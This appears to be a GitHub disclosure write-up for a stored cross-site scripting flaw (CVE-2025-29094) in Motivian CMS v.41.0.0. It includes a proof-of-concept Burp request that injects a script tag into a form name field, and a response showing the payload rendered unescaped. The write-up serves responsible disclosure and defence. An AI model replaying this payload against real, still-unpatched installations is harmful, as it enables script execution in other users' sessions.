CVE-2025-29094-Multiple-Stored-Cross-Site-Scripting-XSS

This repository reveals a security vulnerability discovered in Motivian Content Management System v.41.0.0.

CVE-2025-29094: Multiple Stored Cross-Site Scripting (XSS)

This vulnerability was reported to the vendor in accordance with responsible disclosure practices, and to MITRE, which assigned a temporary CVE ID. The details are being made public following the expiration of the 45-day disclosure period.

General Information

Title: Motivian Stored Cross Site Scripting (XSS)
Vulnerability Type: Stored XSS
Vendor of Product: Motivian
Product: Motivian Content Management System
Affected Version: Motivian CMS v.41.0.0
Affected Components: Marketing/Forms, Marketing/Offers, Content/Pages
Attack Vector: Remote
Impact: Arbitrary JavaScript execution in victim's browser
Severity: High
CVSSv3 score: 7.6
CVSSv3 vector: CVSS:3.1:AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Found: 2025-01-29
By: Francesco Marcuccio
Status: Reported to vendor on April 7, 2025 - No response/fix received by May 22, 2025

Description

Cross Site Scripting vulnerability in Motivian Content Mangment System v.41.0.0 allows a remote attacker to execute arbitrary code via the Marketing/Forms, Marketing/Offers and Content/Pages components. The vulnerability was exploited by injecting malicious JavaScript code into various fields, including the title in Marketing/Form and Marketing/Offers, and the header script field in Content/Pages

Proof Of Concept

The vulnerability can be exploited through various fields across different components. For demonstration purposes, the following proof-of-concept focuses on a specific scenario:

Navigate to the Marketing/Forms section and create a new form element.
Insert a malicious script into the Name field and save the form.

Below is the full transcript of the HTTP requests and responses used to demonstrate the issue:

Burp Request

POST /portal/admin/formbuilder/editCmsFormProps!saveForm.action HTTP/1.1
Host: [REDACTED]
Content-Length: 1362
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close

targetFieldId=&targetFormId=&targetFieldIndex=&openedTabProps=tab1&langSelected=it&form.id=1162&search_form_id=&search_form_status_id=&search_form_name=&search_form_description=&date_from=&date_to=&currentPage=&struts.token.name=EditCmsFormProps&EditCmsFormProps=DBFW4RH1O9SVF1J3J9TA0WSD5VHPJCKY&date_notification=&form.seoName_en=&form.seoName_el=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&[...]

Burp Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 05 Feb 2025 12:00:09 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: it-IT
Content-Length: 94593

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>MOTIVIAN | Content Management</title> <link rel="shortcut icon" type="image/x-icon" href="/portal/favicon.ico"/> <link rel="icon" type="image/x-icon" href="/portal/favicon.ico"/> <script> <a href="javascript:void(0)" class="sortingRow" onclick="javascript:simplePagesFormDoSort('status','asc')" >Status</a></td> <td class="TableHeader" colspan="9" style="width:188px">Management</td> <td class="TableHeader w10">&nbsp;</td> </tr> </table> </td> </tr> <tr> <td class="w10 row_odd">&nbsp;</td> <td class="w70 row_odd"> <div class="check-box w70" style="float:left"> <input type="checkbox" id="subpages_formIds_id_1162" name="formIds" value="1162"> <label for="subpages_formIds_id_1162">1162 </label> </div> </td> <td class="w40 row_odd"><img src="/portal/assets/images/red_form.png"/></td> <td class="NameCol row_odd"> <div class="wrap_words_within_rows w155"><script>alert(document.domain)</script> [...]

Remediation

Sanitize all user input and escape output before rendering. Implement CSP (Content Security Policy) header to mitigate XSS risks.

Disclosure Timeline

Date	Action
2025-02-06	CVE ID request
2025-04-02	CVE ID assignment
2025-04-07	Vulnerabilities reported to vendor
2025-05-31	Public disclosure after expiration of the 45-day disclosure period (54 days total)
2025-06-04	Official registration and entry in the MITRE database and NIST/NVD portal

Credit

Discovered and responsibly disclosed by:
Francesco Marcuccio
CyberSecurity Consultant, Penetration Tester
MITRE discoverer attribution listed as:
Francesco Marcuccio
CyberSecurity Consultant, Penetration Tester

Links

Reference links: MITRE NIST

Status

This CVE ID is officially in PUBLISHED status. It will be updated with CVSS score by NIST, after analysis.

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